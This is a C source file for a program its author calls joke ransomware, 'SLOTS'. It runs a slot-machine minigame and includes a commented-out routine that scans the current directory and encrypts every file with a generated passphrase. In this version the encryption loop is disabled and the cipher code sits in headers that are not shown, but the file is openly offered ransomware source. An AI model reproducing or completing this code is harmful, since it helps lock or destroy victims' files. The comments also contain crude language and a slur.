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/***
* SLOTS - Feelin' Lucky?
*
* SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
* This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
* also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
*
*
*/
#define _GNU_SOURCE
#include "VX-GAMBLEGROUND.h"
#include "encryption.h"
#include "search.h"
#include "screen.h"
#include "ll.h"
#include <sodium.h>
#include <sys/random.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <error.h>
#include <argp.h>
#include <time.h>
#include <stdio.h>
#include <threads.h>
#define PHRASESIZE 32
const char *argp_program_version = "Alpha-0.1";
const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)";
static char doc[] = "lol";
static char argdoc[] = "lmao";
static struct argp_option options[] = {
{.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0},
{"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0},
{"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0},
{0}
};
static error_t parse_opt(int key, char *arg, struct argp_state *state) {
struct arguments *args = state->input;
switch(key) {
case 'p':
/* Specifying the start option of "-p=<phrase>" errors out unless this is done.
// Technically a user should use --passphrase=<phrase> if they want to use the = sign, but I think
// this is how it should work. RMS can suck it */
if(*arg == '=')
arg++;
args->inputpass = arg;
if(strlen(args->inputpass) != PHRASESIZE) {
error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE);
}
break;
case 'd':
args->flags |= SKIPSLOTS;
break;
case 'n':
args->flags |= SKIPENC;
break;
default:
return ARGP_ERR_UNKNOWN;
}
return 0;
}
static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0};
int genphrase(char *phrase, size_t phrasesize) {
memset(phrase, 0, phrasesize);
for(size_t i = 0; i < phrasesize; i++) {
phrase[i] = randombytes_uniform(('Z' - 'A') + 1) + 'A';
if(randombytes_random() > (0xffffffff / 2))
phrase[i] += ('a' - 'A');
}
return 0;
}
// roflmao fuck this project i'm too tired to bother with making it nice
int doslots(struct bullshit *stuff) {
// I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted
stuff->handler = (struct sigaction){
.sa_flags = SA_SIGINFO,
.sa_mask = SIGINT | SIGWINCH,
.sa_sigaction = catcher,
};
doinit(&stuff->handler);
docolors();
getmaxyx(stdscr, stuff->row, stuff->col);
stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1);
stuff->banner = create_banner(stuff->col, stuff->randphrase);
init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs);
stuff->menu = new_menu(stuff->items);
if(stuff->menu == NULL) {
endwin();
error(1, errno, "Could not create menu");
}
stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0);
keypad(stuff->menuholder, TRUE);
init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC);
stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0);
if(stuff->slots.slotwin == NULL) {
endwin();
error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window");
}
init_slotholder(&stuff->slots);
doupdate();
stuff->params = (struct params){
.bannerwin = stuff->banner,
.menu = stuff->menu,
.menuholder = stuff->menuholder,
.numspins = 3,
.price = 1,
.slots = &stuff->slots,
};
handle_input(stuff->menuholder, stuff->menu, &stuff->params);
unpost_menu(stuff->menu);
free_menu(stuff->menu);
for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++)
free_item(stuff->items[i]);
endwin();
return 0;
}
int doslots_twrapper(void *passed) {
return doslots((struct bullshit*)passed);
};
int main(int argc, char *argv[]) {
struct arguments args = {
.inputpass = NULL,
.flags = 0
};
argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args);
if(args.flags == (SKIPENC | SKIPSLOTS))
error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure");
struct bullshit stuff;
thrd_t slots;
int err;
if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success)
error(1, 0, "Thread creation failed");
// if(args.inputpass != NULL) {
// printf("Using input passphrase \"%s\"\n", args.inputpass);
// } else {
// char phrase[PHRASESIZE];
// genphrase(phrase, PHRASESIZE);
// printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase);
// if(args.flags & SKIPSLOTS != 0) {
// printf("Hit Enter to contine, or CTRL+C to cancel...");
// getchar();
// }
// }
/* Get files
struct nodelist *files = scanfiles("./", alphasort);
// Encrypt those files
for(struct nodelist *p = files; p != NULL; p = p->next) {
int fd = open(p->fullpath, O_RDWR);
if(fd < 0) {
error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath);
continue;
}
passencblock(fd, phrase);
close(fd);
}
nodelist_delete(files);
//*/
thrd_join(slots, NULL);
return 0;
}
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